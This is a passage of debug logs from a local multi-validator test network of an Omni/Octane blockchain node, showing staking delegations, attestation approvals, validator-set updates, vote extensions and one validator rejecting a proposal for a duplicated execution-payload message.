↪  delegator=0xcEc0971D588dEC617Fc89a7E6bcE949899Ab45b4 validator=0xcEc0971D588dEC617Fc89a7E6bcE949899Ab45b4
↪  amount=1000000000000000000
2024-11-02 19:18:29 24-11-02 23:18:29.962 DEBU  Delegation shares modified
↪  acc_addr=CEC0971D588DEC617FC89A7E6BCE949899AB45B4 val_addr=CEC0971D588DEC617FC89A7E6BCE949899AB45B4
2024-11-02 19:18:29 24-11-02 23:18:29.962 DEBU  Delegation modified
↪  acc_addr=CEC0971D588DEC617FC89A7E6BCE949899AB45B4 val_addr=CEC0971D588DEC617FC89A7E6BCE949899AB45B4
2024-11-02 19:18:29 24-11-02 23:18:29.962 DEBU minted coins from module account         module=x/bank
↪  amount=10000000000000000000stake from=evmstaking
2024-11-02 19:18:29 24-11-02 23:18:29.962 INFO EVM staking delegation detected, delegating
↪  delegator=0xfb08ae73Af6f6756338E742AF3dA5b1921687b85 validator=0xfb08ae73Af6f6756338E742AF3dA5b1921687b85
↪  amount=1000000000000000000
2024-11-02 19:18:29 24-11-02 23:18:29.962 DEBU  Delegation shares modified
↪  acc_addr=FB08AE73AF6F6756338E742AF3DA5B1921687B85 val_addr=FB08AE73AF6F6756338E742AF3DA5B1921687B85
2024-11-02 19:18:29 24-11-02 23:18:29.963 DEBU  Delegation modified
↪  acc_addr=FB08AE73AF6F6756338E742AF3DA5B1921687B85 val_addr=FB08AE73AF6F6756338E742AF3DA5B1921687B85
2024-11-02 19:18:29 24-11-02 23:18:29.963 DEBU Delivered evm logs                       height=51 count=5
2024-11-02 19:18:29 2024/11/02 23:18:29 ****************************Attest::Keeper::Approve()
2024-11-02 19:18:29 24-11-02 23:18:29.964 DEBU  Approved attestation                chain=omni_evm|L
↪  attest_offset=20 height=50 hash=c8785c1
2024-11-02 19:18:29 24-11-02 23:18:29.964 DEBU  Approved attestation                chain=omni_evm|F
↪  attest_offset=20 height=50 hash=c8785c1
2024-11-02 19:18:29 24-11-02 23:18:29.964 DEBU  Approved attestation                chain=mock_l1|L
↪  attest_offset=26 height=90 hash=271aae4
2024-11-02 19:18:29 24-11-02 23:18:29.964 DEBU  Approved attestation                chain=mock_l2|L
↪  attest_offset=22 height=90 hash=7259a48
2024-11-02 19:18:29 24-11-02 23:18:29.965 DEBU  Approved attestation                chain=mock_l2|F
↪  attest_offset=20 height=81 hash=a8305f4
2024-11-02 19:18:29 24-11-02 23:18:29.965 DEBU  Approved attestation                chain=omni_consensus|F
↪  attest_offset=18 height=18 hash=0000000
2024-11-02 19:18:29 2024/11/02 23:18:29 ********************************Attest::Keeper::Approve(): pending
↪  vote processed : 7
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************Voter::TrimBehind()
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************ValSync::Keeper::Add(EndBlock)
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************Portal::Keeper::EmitMsg() height 53,
↪  destChainID 0, shardID 260
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************Portal::Keeper::EmitMsg() moving on
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************Portal::Keeper::EmitMsg() 20 vs 20
2024-11-02 19:18:29 24-11-02 23:18:29.966 INFO  Storing new unattested validator set  valset_id=19 len=10
↪  updated=5 removed=0 total_power=1047 height=53
2024-11-02 19:18:29 24-11-02 23:18:29.966 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1qxw5q035630lw89d35x5p75q0n5gl07tmhnpw0 Jailed=false Power=104 Block Height=53
2024-11-02 19:18:29 24-11-02 23:18:29.966 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1ppv9crp5a7z0wcuv0977g48zs7s9rp6whnwlz0 Jailed=false Power=105 Block Height=53
```

```
2024-11-02 19:18:29 24-11-02 23:18:29.966 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1raagr2k0dx07jnnmaa6xg5ja953de426cwehkd Jailed=false Power=105 Block Height=53
2024-11-02 19:18:29 24-11-02 23:18:29.966 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1y6c92ext5xyq02kvln5cqss4xswdgcdhva93nj Jailed=false Power=104 Block Height=53
2024-11-02 19:18:29 24-11-02 23:18:29.966 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1dxyzfmgvgzswqsu63sqnttt09t44szmngt0a8z Jailed=false Power=105 Block Height=53
2024-11-02 19:18:29 24-11-02 23:18:29.967 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper10gpkwn60qt6hrrcghr23fwzgfnqygng9qrxhvv Jailed=false Power=105 Block Height=53
2024-11-02 19:18:29 24-11-02 23:18:29.967 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1nxzt4e8ywpv9hans73hys6pslsg99kgtahgwuh Jailed=false Power=104 Block Height=53
2024-11-02 19:18:29 24-11-02 23:18:29.967 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper14rc4t3rhdxjhkv4raxmx0cvf7l7qy5833896ta Jailed=false Power=105 Block Height=53
2024-11-02 19:18:29 24-11-02 23:18:29.967 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1emqfw82c3hkxzl7gnflxhn55nzv6k3d5h2wk9n Jailed=false Power=105 Block Height=53
2024-11-02 19:18:29 24-11-02 23:18:29.967 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1lvy2uua0dan4vvuwws408kjmrysks7u9cfvf44 Jailed=false Power=105 Block Height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************Voter::UpdateValidatorSet()
2024-11-02 19:18:29 24-11-02 23:18:29.967 INFO  Activating attested validator set     valset_id=14
↪  created_height=48 height=53
2024-11-02 19:18:29 24-11-02 23:18:29.972 DEBU hash of all writes
↪  workingHash=CF58846A69F31DB24651DD4107C69600BD599E8AAB0679F242F883C846F3410D
2024-11-02 19:18:29 24-11-02 23:18:29.973 DEBU Starting optimistic EVM payload build    next_height=54
2024-11-02 19:18:29 24-11-02 23:18:29.981 DEBU  ABCI response: FinalizeBlock          height=53 val_updates=2
↪  pubkey_0=028d3a2 power_0=104 pubkey_1=031c570 power_1=104
2024-11-02 19:18:29 24-11-02 23:18:29.986 DEBU  ABCI call: Commit

...

024-11-02 19:33:38 2024/11/02 23:33:38 **************************ValSync::Keeper::Add(EndBlock)
2024-11-02 19:33:38 2024/11/02 23:33:38 **************************Portal::Keeper::EmitMsg() height 403,
↪  destChainID 0, shardID 260
2024-11-02 19:33:38 2024/11/02 23:33:38 **************************Portal::Keeper::EmitMsg() moving on
2024-11-02 19:33:38 2024/11/02 23:33:38 **************************Portal::Keeper::EmitMsg() 217 vs 217
2024-11-02 19:33:38 24-11-02 23:33:38.065 INFO  Storing new unattested validator set  valset_id=216 len=10
↪  updated=8 removed=0 total_power=2106 height=403
2024-11-02 19:33:38 24-11-02 23:33:38.066 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1qxw5q035630lw89d35x5p75q0n5gl07tmhnpw0 Jailed=false Power=210 Block Height=403
2024-11-02 19:33:38 24-11-02 23:33:38.066 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1ppv9crp5a7z0wcuv0977g48zs7s9rp6whnwlz0 Jailed=false Power=210 Block Height=403
2024-11-02 19:33:38 24-11-02 23:33:38.066 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1raagr2k0dx07jnnmaa6xg5ja953de426cwehkd Jailed=false Power=211 Block Height=403
2024-11-02 19:33:38 24-11-02 23:33:38.066 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1y6c92ext5xyq02kvln5cqss4xswdgcdhva93nj Jailed=false Power=210 Block Height=403
2024-11-02 19:33:38 24-11-02 23:33:38.066 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1dxyzfmgvgzswqsu63sqnttt09t44szmngt0a8z Jailed=false Power=210 Block Height=403
2024-11-02 19:33:38 24-11-02 23:33:38.066 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper10gpkwn60qt6hrrcghr23fwzgfnqygng9qrxhvv Jailed=false Power=211 Block Height=403
2024-11-02 19:33:38 24-11-02 23:33:38.066 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1nxzt4e8ywpv9hans73hys6pslsg99kgtahgwuh Jailed=false Power=211 Block Height=403
2024-11-02 19:33:38 24-11-02 23:33:38.066 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper14rc4t3rhdxjhkv4raxmx0cvf7l7qy5833896ta Jailed=false Power=213 Block Height=403
2024-11-02 19:33:38 24-11-02 23:33:38.066 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1emqfw82c3hkxzl7gnflxhn55nzv6k3d5h2wk9n Jailed=false Power=210 Block Height=403
2024-11-02 19:33:38 24-11-02 23:33:38.067 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1lvy2uua0dan4vvuwws408kjmrysks7u9cfvf44 Jailed=false Power=210 Block Height=403
2024-11-02 19:33:38 2024/11/02 23:33:38 **************************Voter::UpdateValidatorSet()
2024-11-02 19:33:38 24-11-02 23:33:38.067 INFO  Activating attested validator set     valset_id=214
↪  created_height=400 height=403
2024-11-02 19:33:38 24-11-02 23:33:38.072 DEBU hash of all writes
↪  workingHash=D57B8764A1CEF5550D0663556133E2441FFB288D4E2410382232702932966D32
2024-11-02 19:33:38 24-11-02 23:33:38.072 DEBU  ABCI response: FinalizeBlock          height=403 val_updates=7
↪  pubkey_0=031c570 power_0=212 pubkey_1=028d3a2 power_1=210 pubkey_2=02c2339 power_2=210 pubkey_3=0290720
↪  power_3=209 pubkey_4=03fa1c9 power_4=209 pubkey_5=023a22e power_5=209 pubkey_6=0346778 power_6=209
2024-11-02 19:33:38 24-11-02 23:33:38.074 DEBU  ABCI call: Commit
```

```
Val2 (proposer == e3b82d3)
--------
2024-11-02 19:18:27 24-11-02 23:18:27.602 DEBU  ABCI call: ProcessProposal           height=53 proposer=61a2a25
2024-11-02 19:18:27 2024/11/02 23:18:27
↪  ******************************Octane::proposalServer::ExecutionPayload()
2024-11-02 19:18:27 2024/11/02 23:18:27
↪  ******************************Octane::proposalServer::ExecutionPayload(): blockhash -->
↪  0xe535766f634c77f5566330a4b7df5c13976fa4980228f7a641c1c07a497f06dd
```

```
2024-11-02 19:18:27 24-11-02 23:18:27.614 ERRO Rejecting process proposal              err="message type
↪  included too many times" msg_type=/octane.evmengine.types.MsgExecutionPayload stacktrace="[errors.go:14
↪  prouter.go:69 abci.go:520 cmt_abci.go:40 abci.go:85 local_client.go:164 app_conn.go:89 execution.go:166
↪  state.go:1381 state.go:1338 state.go:2055 state.go:910 state.go:836 asm_amd64.s:1700]"
2024-11-02 19:18:27 24-11-02 23:18:27.615 ERRO prevote step: state machine rejected a proposed block; this
↪  should not happen:the proposer may be misbehaving; prevoting nil module=consensus height=53 round=0
↪  err=<nil>
2024-11-02 19:18:27 2024/11/02 23:18:27 **************************Voter::runOnce(): height: 51,
↪  AttestInterval: 5
2024-11-02 19:18:27 2024/11/02 23:18:27 **************************Voter::Vote(): allowSkip: false, height:
↪  51, XMsg count: 1
2024-11-02 19:18:27 24-11-02 23:18:27.651 DEBU  Created vote for cross chain block    chain=omni_evm|F
↪  height=51 offset=21 msgs=1 L|mock_l1=5
2024-11-02 19:18:27 2024/11/02 23:18:27 **************************Voter::runOnce(): height: 84,
↪  AttestInterval: 10
2024-11-02 19:18:27 2024/11/02 23:18:27 **************************Voter::runOnce(): height: 84,
↪  AttestInterval: 10
2024-11-02 19:18:27 2024/11/02 23:18:27 **************************Voter::runOnce(): height: 92,
↪  AttestInterval: 10
2024-11-02 19:18:27 2024/11/02 23:18:27 **************************Voter::Vote(): allowSkip: false, height:
↪  92, XMsg count: 1
2024-11-02 19:18:27 24-11-02 23:18:27.879 DEBU  Created vote for cross chain block    chain=mock_l1|L
↪  height=92 offset=27 msgs=1 F|mock_l2=5
2024-11-02 19:18:27 2024/11/02 23:18:27 **************************Voter::runOnce(): height: 92,
↪  AttestInterval: 10
2024-11-02 19:18:27 2024/11/02 23:18:27 **************************Voter::Vote(): allowSkip: false, height:
↪  92, XMsg count: 1
2024-11-02 19:18:27 24-11-02 23:18:27.886 DEBU  Created vote for cross chain block    chain=mock_l2|L
↪  height=92 offset=24 msgs=1 L|omni_evm=6
2024-11-02 19:18:28 2024/11/02 23:18:28 **************************Voter::runOnce(): height: 85,
↪  AttestInterval: 10
2024-11-02 19:18:28 2024/11/02 23:18:28 **************************Voter::Vote(): allowSkip: false, height:
↪  85, XMsg count: 1
2024-11-02 19:18:28 24-11-02 23:18:28.834 DEBU  Created vote for cross chain block    chain=mock_l2|F
↪  height=85 offset=21 msgs=1 F|mock_l1=4
2024-11-02 19:18:28 2024/11/02 23:18:28 **************************Voter::runOnce(): height: 85,
↪  AttestInterval: 10
2024-11-02 19:18:28 2024/11/02 23:18:28 **************************Voter::Vote(): allowSkip: false, height:
↪  85, XMsg count: 1
2024-11-02 19:18:28 24-11-02 23:18:28.840 DEBU  Created vote for cross chain block    chain=mock_l1|F
↪  height=85 offset=24 msgs=1 L|mock_l2=6
2024-11-02 19:18:28 2024/11/02 23:18:28 **************************Voter::runOnce(): height: 93,
↪  AttestInterval: 10
2024-11-02 19:18:28 2024/11/02 23:18:28 **************************Voter::runOnce(): height: 93,
↪  AttestInterval: 10
2024-11-02 19:18:29 24-11-02 23:18:29.679 DEBU  ABCI call: ProcessProposal            height=53 proposer=360a115
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************proposalServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-11-02 19:18:29 2024/11/02 23:18:29 ********************************verifyAggVotes():
↪  0x7A03674f4F02f5718F08b8D514B8484cc0444D05 --> 1 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 ********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 1 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 ********************************verifyAggVotes():
↪  0xfb08ae73Af6f6756338E742AF3dA5b1921687b85 --> 1 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 ********************************verifyAggVotes():
↪  0xcEc0971D588dEC617Fc89a7E6bcE949899Ab45b4 --> 1 (256)
...
2024-11-02 19:18:29 2024/11/02 23:18:29 ********************************verifyAggVotes():
↪  0x1f7A81aaCF699FE94e7bef7464525D2d22dCd55A --> 6 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 ********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 6 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 ********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 6 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 ********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 6 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 ********************************verifyAggVotes():
↪  0x9984bAE4E470585bF670F46E486830fc1052d90b --> 6 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 ********************************verifyAggVotes():
↪  0x019d403E34D45fF71CAd8D0d40Fa807Ce88FBfCB --> 6 (256)
2024-11-02 19:18:29 24-11-02 23:18:29.692 DEBU Marked local votes as proposed          votes=6 1001651=[18]
↪  1651="[20 20]" 1654="[20 22]" 1652=[26]
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************Voter::SetProposed()
2024-11-02 19:18:29 2024/11/02 23:18:29
↪  ******************************Octane::proposalServer::ExecutionPayload()
2024-11-02 19:18:29 2024/11/02 23:18:29
↪  ******************************Octane::proposalServer::ExecutionPayload(): blockhash -->
↪  0x336a19d045de4c000abebc6bb9388b685b0c8a41cff00647c194df3f1b23b578
```

```
2024-11-02 19:18:29 24-11-02 23:18:29.730 DEBU  ABCI call: ExtendVote                 height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ******************************ExtendVote(): LocalAddress -->
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73. Available: 9
2024-11-02 19:18:29 24-11-02 23:18:29.732 INFO Voted for rollup blocks                votes=7 1652-4="[23
↪  24]" 1652-1=[27] 1654-4=[21] 1654-1="[23 24]" 1001651-4=[19] 1651-1=[21] 1651-4=[21]
2024-11-02 19:18:29 24-11-02 23:18:29.822 DEBU  ABCI call: VerifyVoteExtension        height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 24-11-02 23:18:29.829 DEBU  ABCI call: VerifyVoteExtension        height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0xcEc0971D588dEC617Fc89a7E6bcE949899Ab45b4, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 2024/11/02 23:18:29 ****************************Voter::runOnce(): height: 86,
↪  AttestInterval: 10
2024-11-02 19:18:29 2024/11/02 23:18:29 ****************************Voter::Vote(): allowSkip: false, height:
↪  86, XMsg count: 1
2024-11-02 19:18:29 24-11-02 23:18:29.836 DEBU  ABCI call: VerifyVoteExtension        height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 24-11-02 23:18:29.839 DEBU  ABCI call: VerifyVoteExtension        height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0xcEc0971D588dEC617Fc89a7E6bcE949899Ab45b4, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 24-11-02 23:18:29.842 DEBU  Created vote for cross chain block    chain=mock_l1|F
↪  height=86 offset=25 msgs=1 L|omni_evm=5
2024-11-02 19:18:29 2024/11/02 23:18:29 ****************************Voter::runOnce(): height: 86,
↪  AttestInterval: 10
2024-11-02 19:18:29 24-11-02 23:18:29.843 DEBU  ABCI call: VerifyVoteExtension        height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 24-11-02 23:18:29.848 DEBU  ABCI call: VerifyVoteExtension        height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0x7A03674f4F02f5718F08b8D514B8484cc0444D05, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 2024/11/02 23:18:29 ****************************Voter::runOnce(): height: 94,
↪  AttestInterval: 10
2024-11-02 19:18:29 2024/11/02 23:18:29 ****************************Voter::runOnce(): height: 94,
↪  AttestInterval: 10
2024-11-02 19:18:29 24-11-02 23:18:29.920 DEBU  ABCI call: VerifyVoteExtension        height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0xfb08ae73Af6f6756338E742AF3dA5b1921687b85, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 24-11-02 23:18:29.924 DEBU  ABCI call: VerifyVoteExtension        height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0xfb08ae73Af6f6756338E742AF3dA5b1921687b85, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 24-11-02 23:18:29.928 DEBU  ABCI call: VerifyVoteExtension        height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 24-11-02 23:18:29.932 DEBU  ABCI call: VerifyVoteExtension        height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0x019d403E34D45fF71CAd8D0d40Fa807Ce88FBfCB, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 2024/11/02 23:18:29 ****************************msgServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-11-02 19:18:29 2024/11/02 23:18:29 ****************************Keeper::Add()
2024-11-02 19:18:29 24-11-02 23:18:29.971 DEBU Ignoring vote for attestation approved by different validator
↪  set att_id=142 existing_valset_id=10 vote_valset_id=11 chain=mock_l1|F attest_offset=22 sigs=1
2024-11-02 19:18:29 24-11-02 23:18:29.972 DEBU Marked local votes as committed          votes=6 1001651=[18]
↪  1651="[20 20]" 1654="[20 22]" 1652=[26]
2024-11-02 19:18:29 2024/11/02 23:18:29 ****************************Voter::SetCommitted()
2024-11-02 19:18:30 2024/11/02 23:18:30 *******************************Octane::msgServer::ExecutionPayload()
2024-11-02 19:18:30 2024/11/02 23:18:30 *******************************Octane::msgServer::ExecutionPayload():
↪  blockhash --> 0x336a19d045de4c000abebc6bb9388b685b0c8a41cff00647c194df3f1b23b578
2024-11-02 19:18:30 24-11-02 23:18:30.005 DEBU minted coins from module account         module=x/bank
↪  amount=1000000000000000000stake from=evmstaking
2024-11-02 19:18:30 24-11-02 23:18:30.005 INFO EVM staking delegation detected, delegating
↪  delegator=0x08585C0c34Ef84F7638c797DE454e287a051874E validator=0x08585C0c34Ef84F7638c797DE454e287a051874E
↪  amount=1000000000000000000
2024-11-02 19:18:30 24-11-02 23:18:30.005 DEBU  Delegation shares modified
↪  acc_addr=08585C0C34EF84F7638C797DE454E287A051874E val_addr=08585C0C34EF84F7638C797DE454E287A051874E
2024-11-02 19:18:30 24-11-02 23:18:30.006 DEBU  Delegation modified
↪  acc_addr=08585C0C34EF84F7638C797DE454E287A051874E val_addr=08585C0C34EF84F7638C797DE454E287A051874E
```

```
2024-11-02 19:18:30 24-11-02 23:18:30.006 DEBU minted coins from module account         module=x/bank
↪  amount=1000000000000000000stake from=evmstaking
2024-11-02 19:18:30 24-11-02 23:18:30.006 INFO EVM staking delegation detected, delegating
↪  delegator=0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 validator=0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73
↪  amount=1000000000000000000
2024-11-02 19:18:30 24-11-02 23:18:30.006 DEBU  Delegation shares modified
↪  acc_addr=698824ED0C40A0E0439A8C0135AD6F2AEB580B73 val_addr=698824ED0C40A0E0439A8C0135AD6F2AEB580B73
2024-11-02 19:18:30 24-11-02 23:18:30.006 DEBU  Delegation modified
↪  acc_addr=698824ED0C40A0E0439A8C0135AD6F2AEB580B73 val_addr=698824ED0C40A0E0439A8C0135AD6F2AEB580B73
2024-11-02 19:18:30 24-11-02 23:18:30.006 DEBU minted coins from module account         module=x/bank
↪  amount=1000000000000000000stake from=evmstaking
2024-11-02 19:18:30 24-11-02 23:18:30.007 INFO EVM staking delegation detected, delegating
↪  delegator=0x7A03674f4F02f5718F08b8D514B8484cc0444D05 validator=0x7A03674f4F02f5718F08b8D514B8484cc0444D05
↪  amount=1000000000000000000
2024-11-02 19:18:30 24-11-02 23:18:30.007 DEBU  Delegation shares modified
↪  acc_addr=7A03674F4F02F5718F08B8D514B8484CC0444D05 val_addr=7A03674F4F02F5718F08B8D514B8484CC0444D05
2024-11-02 19:18:30 24-11-02 23:18:30.007 DEBU  Delegation modified
↪  acc_addr=7A03674F4F02F5718F08B8D514B8484CC0444D05 val_addr=7A03674F4F02F5718F08B8D514B8484CC0444D05
2024-11-02 19:18:30 24-11-02 23:18:30.007 DEBU minted coins from module account         module=x/bank
↪  amount=1000000000000000000stake from=evmstaking
2024-11-02 19:18:30 24-11-02 23:18:30.007 INFO EVM staking delegation detected, delegating
↪  delegator=0xcEc0971D588dEC617Fc89a7E6bcE949899Ab45b4 validator=0xcEc0971D588dEC617Fc89a7E6bcE949899Ab45b4
↪  amount=1000000000000000000
2024-11-02 19:18:30 24-11-02 23:18:30.007 DEBU  Delegation shares modified
↪  acc_addr=CEC0971D588DEC617FC89A7E6BCE949899AB45B4 val_addr=CEC0971D588DEC617FC89A7E6BCE949899AB45B4
2024-11-02 19:18:30 24-11-02 23:18:30.007 DEBU  Delegation modified
↪  acc_addr=CEC0971D588DEC617FC89A7E6BCE949899AB45B4 val_addr=CEC0971D588DEC617FC89A7E6BCE949899AB45B4
2024-11-02 19:18:30 24-11-02 23:18:30.008 DEBU minted coins from module account         module=x/bank
↪  amount=10000000000000000000stake from=evmstaking
2024-11-02 19:18:30 24-11-02 23:18:30.008 INFO EVM staking delegation detected, delegating
↪  delegator=0xfb08ae73Af6f6756338E742AF3dA5b1921687b85 validator=0xfb08ae73Af6f6756338E742AF3dA5b1921687b85
↪  amount=1000000000000000000
2024-11-02 19:18:30 24-11-02 23:18:30.008 DEBU  Delegation shares modified
↪  acc_addr=FB08AE73AF6F6756338E742AF3DA5B1921687B85 val_addr=FB08AE73AF6F6756338E742AF3DA5B1921687B85
2024-11-02 19:18:30 24-11-02 23:18:30.008 DEBU  Delegation modified
↪  acc_addr=FB08AE73AF6F6756338E742AF3DA5B1921687B85 val_addr=FB08AE73AF6F6756338E742AF3DA5B1921687B85
2024-11-02 19:18:30 24-11-02 23:18:30.008 DEBU Delivered evm logs                        height=51 count=5
2024-11-02 19:18:30 2024/11/02 23:18:30 ********************************Attest::Keeper::Approve()
2024-11-02 19:18:30 24-11-02 23:18:30.009 DEBU  Approved attestation                 chain=omni_evm|L
↪  attest_offset=20 height=50 hash=c8785c1
2024-11-02 19:18:30 24-11-02 23:18:30.009 DEBU  Approved attestation                 chain=omni_evm|F
↪  attest_offset=20 height=50 hash=c8785c1
2024-11-02 19:18:30 24-11-02 23:18:30.010 DEBU  Approved attestation                 chain=mock_l1|L
↪  attest_offset=26 height=90 hash=271aae4
2024-11-02 19:18:30 24-11-02 23:18:30.010 DEBU  Approved attestation                 chain=mock_l2|L
↪  attest_offset=22 height=90 hash=7259a48
2024-11-02 19:18:30 24-11-02 23:18:30.010 DEBU  Approved attestation                 chain=mock_l2|F
↪  attest_offset=20 height=81 hash=a8305f4
2024-11-02 19:18:30 24-11-02 23:18:30.010 DEBU  Approved attestation                 chain=omni_consensus|F
↪  attest_offset=18 height=18 hash=0000000
2024-11-02 19:18:30 2024/11/02 23:18:30 ********************************Attest::Keeper::Approve(): pending
↪  vote processed : 7
2024-11-02 19:18:30 2024/11/02 23:18:30 ****************************Voter::TrimBehind()
2024-11-02 19:18:30 2024/11/02 23:18:30 ****************************ValSync::Keeper::Add(EndBlock)
2024-11-02 19:18:30 2024/11/02 23:18:30 ****************************Portal::Keeper::EmitMsg() height 53,
↪  destChainID 0, shardID 260
2024-11-02 19:18:30 2024/11/02 23:18:30 ****************************Portal::Keeper::EmitMsg() moving on
2024-11-02 19:18:30 2024/11/02 23:18:30 ****************************Portal::Keeper::EmitMsg() 20 vs 20
2024-11-02 19:18:30 24-11-02 23:18:30.012 INFO  Storing new unattested validator set  valset_id=19 len=10
↪  updated=5 removed=0 total_power=1047 height=53
2024-11-02 19:18:30 24-11-02 23:18:30.012 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1qxw5q035630lw89d35x5p75q0n5gl07tmhnpw0 Jailed=false Power=104 Block Height=53
2024-11-02 19:18:30 24-11-02 23:18:30.012 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1ppv9crp5a7z0wcuv0977g48zs7s9rp6whnwlz0 Jailed=false Power=105 Block Height=53
2024-11-02 19:18:30 24-11-02 23:18:30.012 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1raagr2k0dx07jnnmaa6xg5ja953de426cwehkd Jailed=false Power=105 Block Height=53
2024-11-02 19:18:30 24-11-02 23:18:30.012 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1y6c92ext5xyq02kvln5cqss4xswdgcdhva93nj Jailed=false Power=104 Block Height=53
2024-11-02 19:18:30 24-11-02 23:18:30.013 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1dxyzfmgvgzswqsu63sqnttt09t44szmngt0a8z Jailed=false Power=105 Block Height=53
2024-11-02 19:18:30 24-11-02 23:18:30.013 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper10gpkwn60qt6hrrcghr23fwzgfnqygng9qrxhvv Jailed=false Power=105 Block Height=53
2024-11-02 19:18:30 24-11-02 23:18:30.013 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1nxzt4e8ywpv9hans73hys6pslsg99kgtahgwuh Jailed=false Power=104 Block Height=53
2024-11-02 19:18:30 24-11-02 23:18:30.013 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper14rc4t3rhdxjhkv4raxmx0cvf7l7qy5833896ta Jailed=false Power=105 Block Height=53
```

```
2024-11-02 19:18:30 24-11-02 23:18:30.013 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1emqfw82c3hkxzl7gnflxhn55nzv6k3d5h2wk9n Jailed=false Power=105 Block Height=53
